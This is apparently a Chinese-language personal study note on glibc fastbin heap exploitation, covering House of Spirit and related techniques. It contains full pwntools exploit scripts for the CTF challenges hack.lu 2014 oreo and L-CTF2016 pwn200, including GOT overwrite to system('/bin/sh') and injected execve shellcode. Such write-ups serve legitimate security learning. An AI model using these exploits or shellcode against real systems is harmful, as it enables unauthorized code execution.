FastbinAttack
Fastbin Attack
感觉看 wiki 说的这东西算是涉及到 fastbin 的一类利用方式,不能算新的,了解一下 fastbin 的特点然后后面统一整理一下吧
fastbin
大小:
32位:16-64字节 0x10-0x40
64位:32-128字节 0x20-0x80
chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头)
fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面
单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点
例如:
free(ptr1);
free(ptr2);
最后那么是这样的 fastbin -> ptr2 -> ptr1
空闲的 fastbin chunk 不会被合并,不会修改 chunk 头
拿这个例子做一下实验
#include<stdio.h>
void main(){
char *a1=malloc(0x10);
memset(a1,0x41,0x10);
char *a2=malloc(0x10);
memset(a2,0x42,0x10);
char *a3=malloc(0x10);
memset(a3,0x43,0x10);
char *a4=malloc(0x30);
memset(a4,0x44,0x30);
char *a5=malloc(0x30);
memset(a5,0x45,0x30);
printf("malloc done!\n");
free(a1);
free(a2);
free(a3);
free(a4);
free(a5);
printf("free done\n");
}
可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向
Fastbin Double Free
wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin
House Of Spirit
又是全新的知识 Orz
在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的
有一些条件:
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
https://www.yuque.com/hxfqg9/bin/ape5up#COci2
Alloc to Stack
通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址
Arbitrary Alloc
跟上一个的区别在于这个是往任何可写的地方去分配 chunk
2014 hack.lu oreo
先随便申请两个看一下结构
add('1'*20,'a'*20)
add('2'*20,'b'*20)
可以看到申请的第二个上有一个指向第一个的指针
那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了
name = 'a'*27 + elf.got['puts']
这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 '/bin/sh' 的地址
接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以
这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4)
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk
还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查
来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容
我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如:
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size
此时内存布局:
释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk
然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')
这里覆盖的是 strlen 的 got 表的内容为 system 的地址
Leave a Message 功能里面调用了一个函数,其中有 strlen
相当于 system(p32(sys_addr) + ";/bin/sh")
exp:
from pwn import *
context.log_level = 'debug'
p=process('./oreo')
elf=ELF('./oreo')
libc = ELF('./libc.so.6')
def cmd(choice):
p.sendline(str(choice))
def add(name,description):
cmd(1)
p.sendline(name)
p.sendline(description)
def show():
cmd(2)
p.recvuntil('===================================\n')
def order():
cmd(3)
def leave(notice):
cmd(4)
p.sendline(notice)
def stats():
cmd(5)
add('1'*20,'a'*20)
name = 'a'*27 + p32(elf.got['puts'])
add(name,'b'*20)
show()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
order()
p.recvuntil('Okay order submitted!\n')
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')
p.interactive()
2017 0ctf babyheap
https://www.yuque.com/hxfqg9/bin/bp97ri#zrp9L
L-CTF2016–pwn200
这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来
buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉
在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里
首先通过 read 函数来泄露出来 rbp 中保存的地址
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shellcode_addr = leak_addr - 0x50
箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处
因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem)
p.recvuntil('id ~~?')
p.sendline('48')
然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)
这是构造的 fake chunk
emmm,要是再减去 0x8 就更好看了
看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址
先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell
这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的
exp:
from pwn import *
p = process("./pwn")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
#len=0x30
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shell_addr = leak_addr - 0x50
print 'shellcode addr:'+hex(shell_addr)
print 'fake addr:'+hex(fake_addr)
print 'leak addr:'+hex(leak_addr)
p.recvuntil('id ~~?')
p.sendline('48')
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n')
payload = '0' * 0x18 + p64(shell_addr)
payload = payload.ljust(48, '\x00')
p.send(payload)
p.recvuntil('choice : ')
p.sendline('3')
p.interactive()